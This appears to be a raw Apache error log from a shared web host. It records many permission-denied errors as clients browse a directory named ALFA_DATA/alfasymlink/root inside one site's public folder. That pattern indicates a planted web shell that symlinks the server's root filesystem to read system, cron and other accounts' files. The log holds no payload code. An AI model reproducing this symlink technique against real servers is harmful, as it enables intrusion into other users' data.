[Sun Oct 25 14:24:54.968306 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:24:54.968322 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:24:54.968348 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:24:54.968362 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:24:54.968392 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:24:54.968406 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:24:54.968418 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:24:54.968430 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:24:54.968443 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:24:54.968455 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:24:54.968488 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:24:54.968546 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:24:54.968564 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:24:54.968576 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:24:54.968588 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:24:54.968600 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:24:54.968612 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:24:54.968625 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:24:54.968650 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:24:54.968664 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:24:54.968677 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:24:54.968690 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:24:54.968716 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:24:54.968735 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:24:54.968750 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
[Sun Oct 25 14:24:54.968777 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:24:54.968799 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:24:54.968830 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:24:54.968845 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:24:54.968868 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:24:54.968882 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:24:54.968901 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Sun Oct 25 14:24:54.968920 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
[Sun Oct 25 14:24:54.968953 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:24:54.968982 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:24:54.969007 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:24:55.458648 2026] [core:crit] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:49205] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Sun Oct 25 14:24:55.459006 2026] [core:crit] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:49205] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:24:58.342300 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 185.191.171.5:54382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/usersize
[Sun Oct 25 14:25:06.272375 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 100.29.63.24:38189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:25:25.877568 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 130.12.180.163:51770] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 14:25:25.932899 2026] [authz_core:error] [pid 2875790:tid 2875790] [client 130.12.180.167:50428] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sun Oct 25 14:25:30.188650 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 44.221.105.234:36849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:25:38.151181 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 54.163.136.244:11227] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 14:25:38.893338 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 43.166.255.102:35524] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 14:25:40.461679 2026] [core:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 185.191.171.9:30852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/objects_partial
[Sun Oct 25 14:25:54.169190 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 3.216.13.10:37234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:25:58.395707 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 3.231.193.38:51224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:26:06.156865 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 3.224.104.67:18852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:26:34.199910 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 18.235.158.19:6979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:26:35.032911 2026] [core:error] [pid 2878642:tid 2878642] (13)Permission denied: [client 185.191.171.6:12484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/partial
[Sun Oct 25 14:26:38.149804 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 18.205.213.231:17963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:26:50.163803 2026] [core:error] [pid 2875804:tid 2875804] (13)Permission denied: [client 98.80.130.239:59538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/resource4
[Sun Oct 25 14:26:55.439342 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:50931] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/at/' is executable
[Sun Oct 25 14:26:55.439400 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:50931] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/cron/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/cron/' is executable
[Sun Oct 25 14:26:55.439625 2026] [authz_core:error] [pid 2875798:tid 2875798] [client 76.135.135.39:50932] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/php.ini
[Sun Oct 25 14:26:55.439794 2026] [core:crit] [pid 2875828:tid 2875828] (13)Permission denied: [client 76.135.135.39:50931] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/up2date/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/up2date/' is executable
[Sun Oct 25 14:26:55.441305 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 76.135.135.39:50937] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:26:55.443135 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:26:55.443186 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:26:55.443211 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:26:55.443233 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:26:55.443291 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:26:55.443327 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:26:55.443345 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:26:55.443360 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:26:55.443375 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:26:55.443389 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:26:55.443411 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:26:55.443432 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:26:55.443446 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:26:55.443457 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:26:55.443469 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:26:55.443535 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:26:55.443559 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:26:55.443577 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
